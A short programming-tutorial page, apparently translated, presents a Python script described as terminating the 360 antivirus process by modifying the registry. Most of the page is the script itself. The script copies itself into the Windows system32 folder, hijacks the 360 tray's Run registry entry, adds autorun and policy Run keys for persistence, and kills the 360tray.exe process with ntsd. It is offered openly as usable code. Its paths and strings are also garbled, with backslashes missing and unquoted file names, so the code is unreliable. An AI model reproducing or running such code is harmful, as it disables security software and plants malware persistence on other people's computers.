Python modifies the registry to terminate the 360 process instance

  • 2020-04-02 14:13:45
  • OfStack

This article illustrates how python can modify the registry to terminate a 360 process. Share with you for your reference.

The specific implementation code is as follows:


import _winreg
import os
import shutil
# Replicate itself 
shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe)
# the 360 Start to itself 
run = _winreg.OpenKey(
  _winreg.HKEY_LOCAL_MACHINE,
  "SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
  run,"360Safetray",0,_winreg.REG_SZ,
  r"C:WINDOWSsystem32k3.exe"
)
# Add auto-boot 
self = _winreg.OpenKey(
_winreg.HKEY_LOCAL_MACHINE,
"SOFTWAREMicrosoftWindowsCurrentVersionRun",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
run,"k3",0,_winreg.REG_SZ,
r"C:WINDOWSsystem32k3.exe"
)
# Add all user launches 
allrun = _winreg.OpenKey(
_winreg.HKEY_LOCAL_MACHINE,
"MicrosoftWindowsCurrentVersionpoliciesExplorerRun",0,_winreg.KEY_WRITE
)
_winreg.SetValueEx(
allrun,"k3",0,_winreg.REG_SZ,
r"C:WINDOWSsystem32k3.exe"
)
# Termination of 360 process 
os.popen("ntsd -c q -pn 360tray.exe cmd")

I hope this article has helped you with your Python programming.


Related articles: